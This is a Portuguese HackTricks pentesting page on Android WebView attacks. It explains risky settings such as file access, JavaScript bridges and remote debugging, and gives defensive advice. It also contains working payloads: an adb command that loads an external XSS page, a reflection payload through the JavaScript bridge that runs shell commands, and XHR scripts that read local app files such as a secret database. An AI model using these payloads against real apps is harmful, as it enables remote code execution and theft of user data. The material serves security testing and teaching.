hacktricks/mobile-pentesting/android-app-pentesting/webview-attacks.md

17 KiB
Raw Blame History

Ataques ao WebView

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Configurações Interessantes

Você pode identificar um WebView exposto assim:

Acesso a Arquivos

O acesso a arquivos do WebView está habilitado por padrão. Desde a API 3 (Cupcake 1.5), o método setAllowFileAccess() está disponível para habilitar ou desabilitar explicitamente.
Se o aplicativo tiver a permissão _android.permission.READ_EXTERNAL_STORAGE _, ele poderá ler e carregar arquivos do armazenamento externo.
O WebView precisa usar um esquema de URL de arquivo, por exemplo, file://path/file, para acessar o arquivo.

Acesso Universal a partir de URL de Arquivo (Descontinuado)

Define se as solicitações entre origens no contexto de um URL de esquema de arquivo devem ser permitidas a acessar conteúdo de qualquer origem. Isso inclui acesso a conteúdo de outros URLs de esquema de arquivo ou contextos da web. Observe que alguns acessos, como elementos HTML de imagem, não seguem as regras de mesma origem e não são afetados por essa configuração.

Não habilite essa configuração se você abrir arquivos que possam ser criados ou alterados por fontes externas. Habilitar essa configuração permite que scripts maliciosos carregados em um contexto file:// lancem ataques de script entre sites, acessando arquivos locais arbitrários, incluindo cookies do WebView, dados privados do aplicativo ou até mesmo credenciais usadas em sites da web arbitrários.

Em resumo, isso impedirá o carregamento de Origens arbitrárias. O aplicativo enviará a solicitação de URL para carregar o conteúdo com Origin: file:// se a resposta não permitir essa origem (Access-Control-Allow-Origin: file://), então o conteúdo não será carregado.
O valor padrão é false ao direcionar Build.VERSION_CODES.JELLY_BEAN e acima.

{% hint style="info" %} Usar loadDataWithBaseURL() com null como baseURL também impedirá o carregamento de arquivos locais, mesmo se todas as configurações perigosas estiverem habilitadas. {% endhint %}

Acesso a Arquivos a partir de URLs de Arquivo (Descontinuado)

Define se as solicitações entre origens no contexto de um URL de esquema de arquivo devem ser permitidas a acessar conteúdo de outros URLs de esquema de arquivo. Observe que alguns acessos, como elementos HTML de imagem, não seguem as regras de mesma origem e não são afetados por essa configuração.

Não habilite essa configuração se você abrir arquivos que possam ser criados ou alterados por fontes externas. Habilitar essa configuração permite que scripts maliciosos carregados em um contexto file:// acessem arquivos locais arbitrários, incluindo cookies do WebView e dados privados do aplicativo.

Em resumo, isso impede que o javascript acesse arquivos locais via protocolo file://.
Observe que o valor dessa configuração é ignorado se o valor de getAllowUniversalAccessFromFileURLs() for true.
O valor padrão é false ao direcionar Build.VERSION_CODES.JELLY_BEAN e acima.

Acesso a Arquivos

Habilita ou desabilita o acesso a arquivos dentro do WebView. Observe que isso habilita ou desabilita apenas o acesso ao sistema de arquivos. Ativos e recursos ainda são acessíveis usando file:///android_asset e file:///android_res.

Em resumo, se desabilitado, o WebView não poderá carregar um arquivo local com o protocolo file://.
O valor padrão é false ao direcionar Build.VERSION_CODES.R e superior.

WebViewAssetLoader

Classe auxiliar para carregar arquivos locais, incluindo ativos estáticos e recursos do aplicativo, usando URLs http(s):// dentro de uma classe WebView. Carregar arquivos locais usando URLs semelhantes à web em vez de "file://" é desejável, pois é compatível com a política de mesma origem.

Esta é a nova maneira recomendada de carregar arquivos locais. O objetivo é acessar arquivos locais usando um URL HTTP com o domínio. Dessa forma, a CORS pode ser facilmente mantida entre as páginas web locais e as páginas web que são baixadas do servidor web.

Javascript Habilitado

Os WebViews têm o Javascript desabilitado por padrão. O método setJavaScriptEnabled() pode habilitá-lo ou desabilitá-lo explicitamente.
Observe que os webviews também podem suportar o esquema de intenção que permite abrir outros aplicativos. Leia este artigo para saber como ir de XSS para RCE.

Aqui está um exemplo de um webview exposto vulnerável a XSS por meio do parâmetro "support_url" (que pode indicar a URL a ser carregada no webview):

É possível explorar essa vulnerabilidade pelo adb com algo como:

{% code overflow="wrap" %}

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://6333-157-48-216-175.ngrok-free.app/xss.html"

{% endcode %}

Ponte de JavaScript

O Android oferece uma maneira para o JavaScript executado em um WebView chamar e usar funções nativas de um aplicativo Android (anotadas com @JavascriptInterface) usando o método addJavascriptInterface. Isso é conhecido como uma ponte de JavaScript WebView ou ponte nativa.

Por favor, observe que quando você usa addJavascriptInterface, você está concedendo explicitamente acesso ao objeto de Interface JavaScript registrado para todas as páginas carregadas dentro desse WebView. Isso implica que, se o usuário navegar para fora do seu aplicativo ou domínio, todas as outras páginas externas também terão acesso a esses objetos de Interface JavaScript, o que pode representar um risco de segurança potencial se algum dado sensível estiver sendo exposto por meio dessas interfaces.

Aviso: Tenha extrema cautela com aplicativos direcionados para versões do Android abaixo do Android 4.2 (API level 17), pois eles são vulneráveis a uma falha na implementação do addJavascriptInterface: um ataque que abusa da reflexão, o que leva à execução remota de código quando JavaScript malicioso é injetado em um WebView. Isso ocorreu devido a todos os métodos de objetos Java serem acessíveis por padrão (em vez de apenas aqueles anotados).

Análise Estática

//Class with a method to access a secret
public class JavascriptBridge {
// Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
// not annotated with @JavascriptInterface are not visible from JavaScript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
}
//Enabling Javascript Bridge exposing an object of the JavascriptBridge class
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
<!-- Exploit to get the secret from JavaScript -->
<script>alert(javascriptBridge.getSecret());</script>

Com acesso ao código JavaScript, por exemplo, através de um ataque XSS armazenado, ataque MITM ou um site malicioso que é carregado dentro do WebView, é possível chamar diretamente os métodos Java expostos.

{% hint style="info" %} Observe que, no caso de tentar explorar essa vulnerabilidade através de um Redirecionamento Aberto para uma página da web do atacante que acessa o Objeto Nativo Android. Se o acesso ao redirecionamento for feito por meio de um navegador móvel e não usando o mesmo WebView, o navegador não poderá acessar o objeto nativo Android. {% endhint %}

Se addJavascriptInterface for necessário, leve em consideração o seguinte:

  • Somente o JavaScript fornecido com o APK deve ser permitido a usar as bridges, por exemplo, verificando a URL em cada método Java conectado (via WebView.getUrl).
  • Nenhum JavaScript deve ser carregado de endpoints remotos, por exemplo, mantendo a navegação da página dentro dos domínios do aplicativo e abrindo todos os outros domínios no navegador padrão (por exemplo, Chrome, Firefox).
  • Se necessário por motivos de compatibilidade (por exemplo, ter que suportar dispositivos mais antigos), defina pelo menos o nível mínimo de API para 17 no arquivo manifesto do aplicativo (<uses-sdk android:minSdkVersion="17" />).

Ponte de JavaScript para RCE via Reflexão

Conforme observado nesta pesquisa (verifique para obter ideias caso obtenha RCE), uma vez que você encontrou uma JavascriptBridge, é possível obter RCE via Reflexão usando um payload como o seguinte:

<!-- javascriptBridge is the name of the Android exposed object -->
<script>
function execute(cmd){
return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>

No entanto, aplicativos modernos podem usar a anotação @JavascriptInterface que indica à JavascriptBridge que apenas o método com essa anotação deve ser exposto.
Nesse cenário, você não poderá abusar da Reflexão para executar código arbitrário.

Depuração Remota

A depuração remota do WebView permite acessar o WebView com as Ferramentas de Desenvolvedor do Chrome.
O dispositivo precisa ser acessível pelo PC (via USB, emulador local, rede local...) e estar executando o WebView com depuração ativada, em seguida, acesse chrome://inspect/#devices:

Selecione inspecionar e uma nova janela será aberta. Nesta janela, você pode interagir com o conteúdo do WebView e até mesmo fazer com que ele execute código JS arbitrário a partir da guia console:

Para habilitar a Depuração Remota do WebView, você pode fazer algo como:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}

Essa configuração se aplica a todos os WebViews do aplicativo.

{% hint style="info" %} A depuração do WebView não é afetada pelo estado da flag debuggable no manifesto do aplicativo. Se você deseja habilitar a depuração do WebView apenas quando debuggable for true, teste a flag em tempo de execução. {% endhint %}

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Cargas úteis

Exfiltrar arquivos arbitrários

Para exfiltrar arquivos arbitrários de um aplicativo Android que utiliza WebView, você pode usar a seguinte carga útil:

var xhr = new XMLHttpRequest();
xhr.open('GET', 'file:///path/to/file', true);
xhr.onreadystatechange = function() {
    if (xhr.readyState === 4 && xhr.status === 200) {
        var fileContent = xhr.responseText;
        // Faça algo com o conteúdo do arquivo
    }
};
xhr.send();

Substitua file:///path/to/file pelo caminho absoluto do arquivo que você deseja exfiltrar. Depois de executar o código, o conteúdo do arquivo será retornado na variável fileContent, permitindo que você faça o que quiser com ele.

Lembre-se de que essa técnica só funcionará se o aplicativo permitir o acesso a arquivos locais por meio do WebView.

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);

Referências

{% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %}

{% embed url="https://developer.android.com/reference/android/webkit/WebView" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥